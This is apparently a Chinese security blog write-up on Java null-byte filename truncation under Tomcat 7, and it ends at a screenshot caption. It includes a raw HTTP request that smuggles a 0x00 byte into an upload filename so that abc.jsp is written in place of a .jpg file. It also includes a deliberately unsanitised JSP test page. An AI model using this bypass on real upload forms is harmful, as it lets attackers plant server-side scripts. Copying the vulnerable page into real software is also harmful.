测试环境:
1.windows7(x64)+tomcat7+jdk1.6 搜狗电脑知识技巧
2.Linux3.0(ubuntu11.10)(x86)+tomcat7+jdk1.7
Java在上面两种环境写文件时,会因为00截断而无法正确为新生成的文件命名。比如用户需要的用户名abc.jsp .jpg,但经过00截断后,生成的文件的名称变为abc.jsp , 因此我们在涉及到上传的文件名没更改名称或者可自定义目录的时候加以利用。
测试发送的头部数据如下:
POST /simpleUpload/write.jsp HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 192.168.200.142:8084
Content-Length: 17
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: JSESSIONID=D2EC5F95AD581EB5FD3A860FC4CE640
name=abc.jsp .jpg(注意在上传前,这里的空格需要我们用十六进制编辑器将其变为00)
测试的服务端代码如下:
<%@page import="java.io.*"%>
<%
out.clear();
String filename = request.getParameter("name");
if (filename != null) {
String path = application.getRealPath("/");
String p=path + "/" + filename;
File uploadfile = new File(p);
if (!uploadfile.exists()) {
uploadfile.createNewFile();
}
out.println("System Name:"+System.getProperty("os.name"));
out.println("1.The information of Uploadfile:");
if(uploadfile!=null){
out.println(" a.the UploadFile exists!");
out.println(" b.The path of Uploadfile: "+uploadfile.getAbsolutePath());
out.println(" c.The name of Uploadfile: "+uploadfile.getName());
p=uploadfile.getAbsolutePath().substring(0,uploadfile.getAbsolutePath().length()-5);
File bugFile=new File(p);
out.println("2.The information of Bugfile:");
if(bugFile.exists()){
out.println(" a.The BugFile exists!");
out.println(" b.The path of Bugfile: "+bugFile.getAbsolutePath());
out.println(" c.The name of Bugfile: "+bugFile.getName());
}else{
out.println("The Bugfile: "+bugFile+" does't exist!");
}
File uploadfile2 = new File(p+uploadfile.getAbsolutePath().substring(uploadfile.getAbsolutePath().length()-5));
out.println("3.Assure whether the nonexistent UploadFile exists because of the java API or not:");
if(uploadfile2.exists()){
out.println(" a.The nonexistent UploadFile exists!");
out.println(" b.The path of nonexistent Uploadfile: "+uploadfile2.getAbsolutePath());
out.println(" c.The name of nonexistent Uploadfile: "+uploadfile2.getName());
}else{
out.println("The nonexistent Uploadfile: "+uploadfile2+" does't exist!");
}
}else
out.println("The Uploadfile: "+uploadfile+" isn't uploaded successfully!");
} else {
out.println("Null name!");
}
out.flush();
%>
1.在windows7(x64)+tomcat7+jdk1.6环境下提交的数据返回结果的截图: